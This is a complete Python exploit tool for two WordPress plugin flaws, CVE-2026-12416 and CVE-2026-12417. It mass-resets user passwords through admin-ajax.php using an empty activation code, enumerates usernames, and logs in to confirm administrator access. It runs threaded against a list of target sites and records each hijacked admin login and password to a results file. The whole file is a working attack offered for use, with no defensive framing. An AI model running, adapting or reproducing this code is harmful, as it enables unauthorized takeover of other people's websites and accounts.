#!/usr/bin/env python3
# By: Nxploited
"""
SignUp/SignIn & Invoice — Unauthenticated Password Reset via AJAX

CVE-A  action=pravel_change_password         (plugin: signup-signin)
CVE-B  action=pravel_invoice_change_password (plugin: pravel-invoice)

Both endpoints accept reset_user_id + empty activation_code → password reset.
"""

from __future__ import annotations

import os
import re
import sys
import time
import random
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Optional, Set, Tuple
from urllib.parse import urlparse

import requests
import urllib3
from rich.console import Console
from rich.panel import Panel
from rich.theme import Theme

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ── Config ────────────────────────────────────────────────────────────────────

NEW_PASSWORD = "Nxploited@123KSa"
RESULT_FILE  = "scan_results/pravel_admin_success.txt"

EXPLOIT_A = "pravel_change_password"
EXPLOIT_B = "pravel_invoice_change_password"
SUCCESS   = '"activation":true'

# (connect_timeout, read_timeout) — keeps down/slow sites from blocking threads
T_FAST  = (3, 5)    # for AJAX exploit probe
T_LOGIN = (4, 8)    # for login + admin check

QUICK_IDS    = [1, 2]
EXTENDED_IDS = list(range(3, 21))

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) "
    "Gecko/20100101 Firefox/125.0",
]

# ── Thread-safe globals ───────────────────────────────────────────────────────

_print_lock   = threading.Lock()
_counter_lock = threading.Lock()
_file_lock    = threading.Lock()
_done         = 0
_total        = 0

# ── Console ───────────────────────────────────────────────────────────────────

theme = Theme({
    "info":  "cyan",
    "ok":    "bold green",
    "warn":  "bold yellow",
    "err":   "bold red",
    "host":  "bold magenta",
    "dim":   "dim",
})
console = Console(theme=theme)


def print_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")
    console.print()
    console.print(
        "  ╔══════════════════════════════════════════════════════════╗",
        style="bold white",
    )
    console.print(
        "  ║                                                          ║",
        style="bold white",
    )
    console.print(
        "  ║   CVE-2026-12416  │  CVE-2026-12417                     ║",
        style="bold white",
    )
    console.print(
        "  ║   Unauthenticated Password Reset via AJAX                ║",
        style="dim white",
    )
    console.print(
        "  ║                                                          ║",
        style="bold white",
    )
    console.print(
        "  ║   By: Khaled Alenazi  ( [bold green]Nxploited[/bold green] )                   ║",
        style="white",
        highlight=False,
    )
    console.print(
        "  ║                                                          ║",
        style="bold white",
    )
    console.print(
        "  ╚══════════════════════════════════════════════════════════╝",
        style="bold white",
    )
    console.print()


# ── Output helpers ────────────────────────────────────────────────────────────

def _tick() -> str:
    global _done
    with _counter_lock:
        _done += 1
        d = _done
    return f"[dim][{d}/{_total}][/dim]"


def _print(msg: str) -> None:
    with _print_lock:
        console.print(msg, highlight=False)


def log_no(base: str) -> None:
    _print(f"  {_tick()}  [dim]{base}  NO[/dim]")


def log_ok(base: str, action: str, uid: int, user: str) -> None:
    login_url = base.rstrip("/") + "/wp-login.php"
    _print(
        f"  {_tick()}  [host]{base}[/host]  "
        f"[ok]ADMIN={user}  pass={NEW_PASSWORD}[/ok]  "
        f"[dim]exploit={action} id={uid} | {login_url}[/dim]"
    )


def log_reset_no_admin(base: str, action: str, uid: int) -> None:
    _print(
        f"  {_tick()}  [dim]{base}  "
        f"reset_ok exploit={action} id={uid} — no admin login[/dim]"
    )


def save(base: str, action: str, uid: int, user: str) -> None:
    ts        = time.strftime("%Y-%m-%d %H:%M:%S")
    login_url = base.rstrip("/") + "/wp-login.php"
    line = (
        f"[{ts}] SITE={base} | LOGIN={login_url} | "
        f"user={user} | pass={NEW_PASSWORD} | "
        f"exploit={action} | id={uid}\n"
    )
    os.makedirs(os.path.dirname(RESULT_FILE) or ".", exist_ok=True)
    with _file_lock:
        with open(RESULT_FILE, "a", encoding="utf-8") as fh:
            fh.write(line)


# ── HTTP helpers ──────────────────────────────────────────────────────────────

def rand_ua() -> str:
    return random.choice(USER_AGENTS)


def normalize(raw: str) -> str:
    raw = raw.strip()
    if not raw.startswith(("http://", "https://")):
        raw = "https://" + raw
    p = urlparse(raw)
    return f"{p.scheme}://{p.netloc}"


def url(base: str, path: str) -> str:
    return base.rstrip("/") + ("" if path.startswith("/") else "/") + path.lstrip("/")


# ── AJAX reset ────────────────────────────────────────────────────────────────

def ajax_reset(base: str, action: str, uid: int) -> bool:
    """
    POST admin-ajax.php with empty activation code.
    Returns True if response contains "activation":true.
    Uses T_FAST timeout — fails quickly on down/slow sites.
    """
    try:
        r = requests.post(
            url(base, "/wp-admin/admin-ajax.php"),
            data={
                "action":                action,
                "reset_user_id":         str(uid),
                "new_password_custom":   NEW_PASSWORD,
                "reset_activation_code": "",
            },
            headers={
                "User-Agent":   rand_ua(),
                "Content-Type": "application/x-www-form-urlencoded",
                "Referer":      base,
            },
            timeout=T_FAST,
            verify=False,
            allow_redirects=False,
        )
        return SUCCESS in (r.text or "")
    except Exception:
        return False


# ── Username enumeration (called ONLY after reset succeeds) ───────────────────

_RE_AUTHOR = re.compile(r"/author/([^/\"'\s>?#]+)", re.I)


def _get_by_id(base: str, uid: int) -> str:
    """Fast direct REST lookup for a specific user ID."""
    try:
        r = requests.get(
            url(base, f"/wp-json/wp/v2/users/{uid}"),
            timeout=T_FAST, verify=False,
            headers={"User-Agent": rand_ua()},
        )
        if r.status_code == 200:
            data = r.json()
            if isinstance(data, dict):
                for k in ("slug", "username", "name"):
                    v = data.get(k, "")
                    if v and isinstance(v, str) and 2 < len(v) < 50:
                        return v.lower()
    except Exception:
        pass
    return ""


def _rest_bulk(base: str) -> List[str]:
    """Bulk user list from REST API — 1 request."""
    out: List[str] = []
    try:
        r = requests.get(
            url(base, "/wp-json/wp/v2/users?per_page=100&_fields=slug,name"),
            timeout=T_FAST, verify=False,
            headers={"User-Agent": rand_ua()},
        )
        if r.status_code == 200:
            for entry in r.json():
                if isinstance(entry, dict):
                    for k in ("slug", "name"):
                        v = entry.get(k, "")
                        if v and isinstance(v, str) and 2 < len(v) < 50:
                            out.append(v.lower())
    except Exception:
        pass
    return out


def _author_scan(base: str, max_id: int = 3) -> List[str]:
    """Author redirect scan — only 3 IDs, 1 request each."""
    out: List[str] = []
    for i in range(1, max_id + 1):
        try:
            r = requests.get(
                url(base, f"/?author={i}"),
                timeout=T_FAST, verify=False,
                allow_redirects=True,
                headers={"User-Agent": rand_ua()},
            )
            m = _RE_AUTHOR.search(r.url)
            if m:
                out.append(m.group(1).lower())
        except Exception:
            continue
    return out


def get_usernames(base: str, hit_id: int) -> List[str]:
    """
    Build ordered candidate list after a confirmed reset.
    Order: exact_by_id → admin → REST bulk → author scan (3 IDs) → hostname
    """
    ordered: List[str] = []
    seen: Set[str] = set()

    def add(n: str) -> None:
        n = n.strip().lower()
        if n and 2 < len(n) < 50 and n not in seen:
            seen.add(n)
            ordered.append(n)

    add(_get_by_id(base, hit_id))   # most accurate: direct REST by ID
    add("admin")                     # most common WordPress admin username
    for u in _rest_bulk(base):      # REST API bulk (1 request)
        add(u)
    for u in _author_scan(base):    # author scan IDs 1-3 (3 requests)
        add(u)

    host = urlparse(base).netloc.split(":")[0].lower().lstrip("www.").split(".")[0]
    if host:
        add(host)

    return ordered


# ── Login + admin verification ────────────────────────────────────────────────

FAIL_WORDS = [
    "incorrect username or password", "invalid username", "invalid password",
    "error: the username", "is not registered", "authentication failed",
    "login failed", "unknown username", "the password you entered",
]

ADMIN_MARKERS = [
    'id="adminmenu"', 'id="wpadminbar"', 'id="wpwrap"', 'id="wpcontent"',
]


def try_login(base: str, username: str) -> Optional[requests.Session]:
    """
    POST to wp-login.php.  Returns an authenticated session or None.
    Uses /wp-login.php directly — covers 95%+ of WordPress installs.
    """
    login_url = url(base, "/wp-login.php")
    sess = requests.Session()
    sess.verify = False
    sess.headers.update({"User-Agent": rand_ua()})

    try:
        sess.get(login_url, timeout=T_LOGIN, allow_redirects=True)
    except Exception:
        return None

    try:
        r = sess.post(
            login_url,
            data={
                "log": username.strip(),
                "pwd": NEW_PASSWORD,
                "wp-submit": "Log In",
                "testcookie": "1",
            },
            headers={
                "User-Agent":   rand_ua(),
                "Cookie":       "wordpress_test_cookie=WP Cookie check",
                "Content-Type": "application/x-www-form-urlencoded",
                "Referer":      login_url,
            },
            timeout=T_LOGIN,
            allow_redirects=True,
        )
    except Exception:
        return None

    body = (r.text or "").lower()
    if any(f in body for f in FAIL_WORDS):
        return None

    has_cookie = (
        "wordpress_logged_in" in r.headers.get("Set-Cookie", "")
        or any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
    )
    return sess if has_cookie else None


def is_admin(sess: requests.Session, base: str) -> bool:
    """
    Single request to wp-admin/users.php.
    Requires list_users capability → admins only.
    """
    try:
        r = sess.get(
            url(base, "/wp-admin/users.php"),
            timeout=T_LOGIN,
            allow_redirects=True,
        )
        if r.status_code != 200:
            return False
        if "wp-login.php" in (r.url or ""):
            return False
        low = (r.text or "").lower()
        if any(d in low for d in ["you are not allowed", "insufficient permissions"]):
            return False
        # Admins see the users table; others see an error
        return any(m in r.text for m in ADMIN_MARKERS) or 'id="the-list"' in r.text
    except Exception:
        return False


# ── Per-site pipeline ─────────────────────────────────────────────────────────

def _try_exploit_and_login(
    base: str, action: str, uid: int,
) -> bool:
    """
    1. AJAX reset (T_FAST — returns instantly if site is down).
    2. On success: get usernames → login → verify admin → save.
    Returns True if admin confirmed.
    """
    if not ajax_reset(base, action, uid):
        return False

    # Reset confirmed — enumerate usernames lazily
    for username in get_usernames(base, uid):
        sess = try_login(base, username)
        if sess is None:
            continue
        if is_admin(sess, base):
            save(base, action, uid, username)
            log_ok(base, action, uid, username)
            return True

    log_reset_no_admin(base, action, uid)
    return False


def process_site(base: str) -> None:
    base = normalize(base)

    # ── Quick IDs 1 & 2 × both CVEs ──────────────────────────────────────
    for uid in QUICK_IDS:
        for action in [EXPLOIT_A, EXPLOIT_B]:
            if _try_exploit_and_login(base, action, uid):
                return  # admin confirmed → next site

    # ── Extended IDs 3-20 if nothing found ───────────────────────────────
    for uid in EXTENDED_IDS:
        for action in [EXPLOIT_A, EXPLOIT_B]:
            if _try_exploit_and_login(base, action, uid):
                return

    log_no(base)


# ── Interactive runner ────────────────────────────────────────────────────────

def ask(prompt: str, default: str = "") -> str:
    s = input(f"  {prompt} [{default}]: ").strip()
    return s if s else default


def ask_int(prompt: str, default: int) -> int:
    try:
        return max(1, int(ask(prompt, str(default))))
    except ValueError:
        return default


def main() -> None:
    global _total

    print_banner()

    target_file = ask("Targets file (one URL per line)", "targets.txt")
    if not os.path.exists(target_file):
        console.print(f"  [err][x] File not found: {target_file}[/err]")
        sys.exit(1)

    threads = ask_int("Threads (concurrent sites)", 50)

    console.print()
    console.print(f"  [info][*] Password  : {NEW_PASSWORD}[/info]")
    console.print(f"  [info][*] Timeouts  : connect={T_FAST[0]}s  read={T_FAST[1]}s[/info]")
    console.print(f"  [info][*] Results   : {RESULT_FILE}[/info]")
    console.print(f"  [info][*] Exploits  : {EXPLOIT_A}  |  {EXPLOIT_B}[/info]")
    console.print()

    targets: List[str] = []
    with open(target_file, encoding="utf-8", errors="ignore") as fh:
        for line in fh:
            line = line.strip()
            if line and not line.startswith("#"):
                targets.append(line)

    if not targets:
        console.print("  [err][x] Targets file is empty.[/err]")
        sys.exit(1)

    _total = len(targets)
    os.makedirs("scan_results", exist_ok=True)
    console.print(f"  [info][*] Loaded {_total} target(s) — threads={threads}[/info]")
    console.print()

    start = time.time()
    with ThreadPoolExecutor(max_workers=threads) as pool:
        futures = {pool.submit(process_site, site): site for site in targets}
        try:
            for fut in as_completed(futures):
                try:
                    fut.result()
                except Exception as exc:
                    _print(f"  [warn][!] {futures[fut]}: {exc}[/warn]")
        except KeyboardInterrupt:
            console.print("\n  [warn][!] Interrupted.[/warn]")
            pool.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)

    elapsed = time.time() - start
    console.print()
    console.print(f"  [ok][+] Done in {elapsed:.1f}s — results: {RESULT_FILE}[/ok]")


if __name__ == "__main__":
    main()